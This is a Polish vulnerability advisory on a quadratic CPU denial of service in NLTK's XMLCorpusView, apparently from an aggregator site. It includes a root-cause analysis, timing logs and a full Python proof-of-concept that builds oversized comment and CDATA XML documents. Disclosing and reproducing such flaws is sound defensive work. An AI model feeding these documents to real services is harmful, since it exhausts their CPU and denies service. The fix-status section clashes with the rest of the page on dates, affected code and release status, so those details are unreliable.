Wysoka

NLTK: Parsowanie komentarzy i CDATA w XMLCorpusView umożliwia kwadratowy denial of service CPU

  • Ujawniono: 19.11.2026
  • Aktualizacja: 22.11.2026 10:00

Dotyczy: PyPI nltk >= 3.6 — strumieniowy odczyt nltk.corpus.reader.xmldocs.XMLCorpusView (oraz czytniki nps_chat / framenet na nim oparte) Odtworzono dynamicznie: 3.6 (testy 6/6), 3.9.2 (6/6), 3.10.3 (6/6) oraz develop 6818767b9 (6/6)


Odniesienia do kodu źródłowego (nltk/corpus/reader/xmldocs.py:NNN) dotyczą commita 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). Plik xmldocs.py w wydanej paczce wheel v3.10.3 jest identyczny bajt po bajcie z tym commitem, więc te same numery linii mają zastosowanie.

Podsumowanie

Atakujący, który skłoni ofiarę do odczytania poprawnie sformatowanego pliku korpusu XML zawierającego duży komentarz lub sekcję CDATA, może zablokować rdzeń procesora na czas rosnący kwadratowo względem rozmiaru pliku. Dzieje się tak, ponieważ XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) wykonuje liniową walidację całego bufora po każdym bloku 1 KiB, dopóki nie napotka domknięcia komentarza lub sekcji CDATA. XMLCorpusView to udokumentowane API NLTK do strumieniowego odczytu korpusów XML, instancjonowane bezpośrednio przez czytniki NPSChatCorpusReader i FramenetCorpusReader; nagłówek modułu (xmldocs.py:16-20) wprost obsługuje niezaufane pliki XML. Zabezpieczenie in_tag dodane w GHSA-vp2x obejmuje wyłącznie pojedynczy przewymiarowany tag <...>, pozostawiając ścieżkę CDATA/komentarzy podatną na złożoność kwadratową w bieżącym wydaniu.

Szczegóły

Przyczyna źródłowa: _read_xml_fragment (xmldocs.py:273-338) akumuluje plik w jeden ciąg fragment w porcjach po _BLOCK_SIZE (1024) znaków (xmldocs.py:123, 298-299). Po każdym bloku, który nie tworzy jeszcze poprawnie sformatowanego prefiksu, fragment jest ponownie walidowany wyrażeniem _VALID_XML_RE. Dominują dwie operacje na całym buforze:

python
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))
    return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">":            # O(1) for this input class:
    ...                                                     # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
    ...

Dla tej klasy danych wejściowych sprawdzenie re.search w linii xmldocs.py:312 ma złożoność O(1): fragment zawsze zaczyna się od < (np. <root>…), więc pierwszy znak </> występuje na pozycji 0 i nie generuje narzutu. Kwadratowy koszt wynika wyłącznie z dwóch dopasowań regex na całym buforze w xmldocs.py:308 i xmldocs.py:329 (to drugie przeszukuje bufor do ostatniego znaku <, który w tym przypadku znajduje się blisko końca bufora).

_VALID_XML_RE (xmldocs.py:238-249) jest wyrażeniem liniowym (jego konstrukcje tempered-dot dla komentarzy i CDATA (?:(?!-->).)* / (?:(?!\]\]>).)* skanują od lewej do prawej w czasie O(długość) — co potwierdził test pojedynczego dopasowania w skrypcie), lecz dla fragmentu, którego terminator znajduje się daleko, dopasowanie kończy się niepowodzeniem po przeskanowaniu całego bufora. W przypadku niedomkniętego w obrębie bloków CDATA lub komentarza każdy z n/1024 bloków wykonuje operację o koszcie O(bieżąca długość bufora) w liniach 308 i 329, co łącznie daje ~O(n²) operacji na znakach.

Zabezpieczenie in_tag dodane w GHSA-vp2x (xmldocs.py:283-305) śledzi jedynie pojedyncze znaki </>: ma wartość True wewnątrz niedomkniętego tagu <...> i w tym stanie pomija jedynie dopasowanie z linii 308. Nie wykrywa ono sytuacji „fragment znajduje się wewnątrz niedomkniętego CDATA lub komentarza” — XML zezwala na dowolne znaki </> wewnątrz tych konstrukcji — dlatego dopasowania z linii 308 i 329 są nadal uruchamiane dla każdego bloku w przypadku CDATA/komentarza. Komentarz w kodzie w xmldocs.py:283-289 dokumentuje zamierzoną liniowość („re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)”), lecz zabezpieczenie wdrożono wyłącznie dla gałęzi tagów.

Koszt pojedynczego dopasowania jest liniowy, a nie superliniowy: dołączony skrypt mierzy _VALID_XML_RE.match() na buforach z niedomkniętym CDATA o wielkościach 512 KiB → 1 MiB → 2 MiB, uzyskując ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, tj. liniowo), dowodząc, że stosunek 4× pozostaje znacznie poniżej granicy kwadratowej. Kwadratowy czas wynika więc z ponownego uruchamiania liniowych dopasowań dla każdego bloku — dokładnie takiego wzorca CWE-407, który zabezpieczenie tagów miało wyeliminować.

Różnice wersji (zweryfikowane dynamicznie):

  • 3.10.3 / develop (zabezpieczenie obecne): Regex poprawnie waliduje CDATA, więc zarówno dokument z komentarzem, jak i z CDATA są pomyślnie odczytywane i zwracane; oba skalują się superliniowo (t(4n)/t(n) ≈ 13-16; liniowo byłoby ≈ 4). Próba kontrolna z pojedynczym dużym tagiem skaluje się liniowo (współczynnik ≈ 4.0), co potwierdza, że koszt kwadratowy dotyczy wyłącznie niezabezpieczonej ścieżki CDATA/komentarzy.
  • 3.6 / 3.9.2 (przed zabezpieczeniem): Wydania te używają leniwego regexu _VALID_XML_RE, którego alternatywa CDATA <![CDATA[.*?]]> nigdy nie pasuje (podciąg [CDATA[.*?] jest traktowany jako klasa znaków), więc dokument CDATA jest odrzucany z błędem ValueError: Unexpected end of file: tag not closed po kwadratowym skanowaniu (osobny błąd funkcjonalny). Wariant z komentarzem jest poprawny składniowo i również wykazuje złożoność kwadratową (t(4n)/t(n) ≈ 14-16); kontrolny duży tag również odczytuje się kwadratowo (współczynnik ≈ 16), co oznacza, że cała klasa niedomkniętych konstrukcji wg GHSA-vp2x nie była wówczas załatana.

PoC

Dołączony skrypt tworzy poprawny dokument XML, którego element główny zawiera duży komentarz ze znakami </> bez znaku --> przed końcowym znacznikiem, uruchamia czytnik fragmentów XMLCorpusView dla rozmiarów n oraz 4n i sprawdza, czy współczynnik podwojenia czasu znacznie przekracza liniowy. Sprawdza również wariant CDATA, liniowość pojedynczego dopasowania, liniową kontrolę z dużym tagiem, poprawność XML oraz dostępność przez publiczne API.

Zakres: Uruchomiono dynamicznie na 3.6, 3.9.2, 3.10.3 (wydane paczki wheel z PyPI / lokalny wheel 3.10.3) oraz develop 6818767b9 (kod źródłowy). Nie testowano innych wydań; wersja >= 3.6 była najstarszą sprawdzoną. Środowisko: CPython 3.10.12, Linux x86_64. Rozmiary wejściowe: 64 KiB vs 256 KiB (atak) oraz 1 MiB vs 4 MiB (kontrola liniowa).

Zapis wykonania (dla wheela 3.10.3; wyniki dla 3.6, 3.9.2 i develop 6818767b9 podsumowano poniżej):

[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)  (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n->returned)
[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)
[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)
[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)  (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed

Pozostałe przebiegi (wszystkie 6/6; tylko istotne linie):

3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76

(Współczynniki pojedynczego dopasowania sprzed wprowadzenia zabezpieczenia są nieistotne, ponieważ martwa gałąź CDATA kończy się błędem w czasie O(1), i podano je jedynie dla kompletności).

Wpływ

  • Typ: CWE-407 / CWE-400 — Wyczerpanie zasobów procesora / odmowa usługi wynikająca ze złożoności obliczeniowej przy pojedynczym odczycie niezaufanego pliku korpusu; brak wpływu na poufność i integralność.
  • Kogo dotyczy: Wszelkie wdrożenia przekazujące pliki XML korpusu do XMLCorpusView (lub czytników nps_chat / framenet) z niezaufanych źródeł — zgodnie z modelem zagrożenia w SECURITY.md. Dane wejściowe to poprawny plik XML.
  • Wymagania atakującego: Dostarczenie poprawnego pliku XML zawierającego duży komentarz lub sekcję CDATA ze znakami </> i terminatorem na końcu. Nie są wymagane uprawnienia ani interakcja użytkownika poza zautomatyzowanym odczytem pliku (taki sam model jak w przypadku SECURITY.md, co uzasadnia UI:N i AV:N).
  • Skutek: Zmierzono 256 KiB → ~1.1 s dla pojedynczego odczytu; koszt rośnie z kwadratem rozmiaru wejścia (t(4n)/t(n) ≈ 13-16). Kilka MiB oznacza dziesiątki sekund, a kilkadziesiąt MiB — minuty pracy pojedynczego rdzenia CPU.

Sugerowana poprawka: Rozszerzenie inkrementalnego śledzenia stanu na CDATA/komentarze/DOCTYPE, podobnie jak in_tag robi to dla tagów: podczas skanowania każdego nowo odczytanego bloku należy śledzić, czy fragment znajduje się wewnątrz niedomkniętej konstrukcji <!... (brak ]]> / --> / terminatora doctype), i pomijać dopasowania całego bufora w xmldocs.py:308 i xmldocs.py:329. Alternatywnie można rewalidować wyłącznie nowo odczytany blok wraz z ograniczonym sufiksem zamiast stale rosnącego bufora. Należy również dodać testy regresyjne na wzór klastra nltk/test/unit/test_quadratic_dos.py (GHSA-vp2x).


Skrypt reprodukcyjny

python
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).

Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.

The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.

Controls:
  1. Well-formedness: the attack document parses with ElementTree.
  2. Linear baseline on the same reader: an oversized *single tag* of the same
     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
     case). On pre-guard builds it is quadratic too -- reported, not asserted.
  3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
     same sink.

Assertions:
  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
  - tag-control doubling ratio must be ~linear (< 8) when the guard is present.

Usage:
    python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
    PYTHONPATH : site-packages of the nltk version under test (required)
    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time

import xml.etree.ElementTree as ET

# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
    _DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
    os.environ["NLTK_DATA"] = _DATA_ROOT
    _CLEANUP_ROOT = _DATA_ROOT

from nltk.corpus.reader.xmldocs import XMLCorpusView


def elapsed(fn):
    start = time.perf_counter()
    fn()
    return time.perf_counter() - start


def build_comment_doc(body_size):
    # Well-formed XML: one root, one large comment containing '<' and '>' and
    # no '-->' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><!-- " + body + " --></root>"


def build_cdata_doc(body_size):
    # Well-formed XML: one root, one large CDATA containing '<' and '>' and no
    # ']]>' before the closing marker.
    body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body + "]]></root>"


def build_unclosed_cdata_prefix(body_size):
    # The line-308 match input: an accumulating fragment that is still inside
    # an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
    # reuse with the attack-timing buffers above, which would skew the timing.
    body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
    return "<root><![CDATA[" + body


def build_giant_tag(body_size):
    # Control: a single oversized '<a ...>' tag, no '>' until the very end.
    return "<a " + ("x" * body_size) + ">"


def guard_present():
    import nltk.corpus.reader.xmldocs as m

    with open(m.__file__, encoding="utf-8") as fh:
        return "in_tag" in fh.read()


view = XMLCorpusView.__new__(XMLCorpusView)
results = []


def check(name, cond, detail=""):
    results.append(bool(cond))
    print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f"  ({detail})" if detail else ""))


def read_frag(doc):
    """Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
    releases raise for CDATA-containing documents."""
    try:
        return view._read_xml_fragment(io.StringIO(doc))
    except ValueError as exc:
        return "ValueError: %s" % exc


def time_ratio(build, n1, n4):
    d1, d4 = build(n1), build(n4)
    t1 = elapsed(lambda: read_frag(d1))
    t4 = elapsed(lambda: read_frag(d4))
    return d1, d4, t1, t4


# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20  # 1 MiB / 4 MiB (guard-present linear baseline)

# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1)  # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  "
      f"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n->{outcome})")
check(
    "attack document is well-formed XML (parses with ElementTree)",
    ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
    f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
    "unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
    ratio > 10.0,
    f"measured {ratio:.1f}",
)

# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  "
      f"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n->{doutcome})")
if has_guard:
    check(
        "CDATA variant also super-linear on guard-present build",
        dratio > 10.0,
        f"measured {dratio:.1f}",
    )
else:
    # Pre-guard releases cannot validate any CDATA (their regex's CDATA
    # alternative never matches), so the fragment ends in ValueError -- a
    # separate functional defect; report only.
    check(
        "pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
        doutcome.startswith("ValueError"),
        str(doutcome),
    )

# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)
    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))


ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 << 18]:.4f}s  512KiB={ms[1 << 19]:.4f}s  "
      f"1MiB={ms[1 << 20]:.4f}s  2MiB={ms[1 << 21]:.4f}s")
check(
    "single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
    ms[1 << 21] / ms[1 << 19] < 6.0,
    f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)

# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  "
          f"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
        gratio < 8.0,
        f"measured {gratio:.1f}",
    )
else:
    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
    gratio = tg4 / tg1
    print(f"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  "
          f"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}")
    check(
        "oversized single tag also super-linear pre-guard (report-only)",
        gratio > 4.0,
        f"measured {gratio:.1f}",
    )

# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
    fh.write(c1)
try:
    items = list(XMLCorpusView(path, ".*"))
    check(
        "public API list(XMLCorpusView(path, '.*')) reads the attack document",
        len(items) >= 1,
        f"{len(items)} item(s) read from {len(c1)}-byte document",
    )
finally:
    if _CLEANUP_ROOT:
        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)

passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)

Status poprawki (2026-09-28)

Status: W TOKU (poprawka w otwartym pull requeście, jeszcze nie w gałęzi develop).

Dwa otwarte pull requesty zawierają poprawkę:

  • PR: #3753 „[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path”, otwarty; head da55cab0e w momencie sporządzania notatki (merge z develop na bazie 238f81500). Commity poprawki: cf12a5e6a (XMLCorpusView._read_xml_fragment powiększa okno odczytu geometrycznie; SeekableUnicodeStreamReader.readline przeszukuje tylko nowy fragment) oraz 2acc9bd97 (readline gromadzi fragmenty na liście). Test: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py; wynik: NAPRAWIONE (readline skaluje się jako 4.1x dla danych wejściowych 4x).
  • PR: #3895 „[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)”, otwarty, head b22ebe144. Commit poprawki: 002bcf714; test z PR #3753 na tym commitcie: NAPRAWIONE (1.6x dla wejścia 4x).

Test uruchomiony na gałęzi develop 2fa3f48fe: PODATNY (readline skaluje się jako 18.7x dla danych 4x).

Wydanie: brak.

Co trzeba zrobić

Środek zaradczy nie został jeszcze opublikowany („Release: none”). Poprawki są w toku w ramach otwartych pull requestów (#3753 oraz #3895).

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) nltk >= 3.6, < 3.10.4 3.10.4

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-400, CWE-407
Platforma
Python (PyPI)
Paczka
nltk
Ujawniono
19.11.2026
Aktualizacja
22.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-j8g8-j4j7-8j54 - CC BY 4.0

Historia podatności: nltk

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (79) w archiwum
Wszystkich wpisów
79
Pierwsza → ostatnia
08.2019 11.2026
Bez poprawki
5
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 41
  • Średnia 31
  • Niska 2

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 74
Istotność:
  1. NLTK: Parsowanie komentarzy i CDATA w XMLCorpusView umożliwia kwadratowy denial of service CPU ten wpis
    Wysoka · 7.5 CVE-2026-128139 >= 3.6, < 3.10.4 3.10.4
  2. Wysoka · 7.5 CVE-2026-129229 >= 3.10.0, < 3.10.4 3.10.4
  3. Wysoka · 7.8 CVE-2026-78680 < 3.10.3 3.10.3
  4. Wysoka CVE-2026-79674 < 3.10.3 3.10.3
Pokaż więcej (20) Widać 20 z 46

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.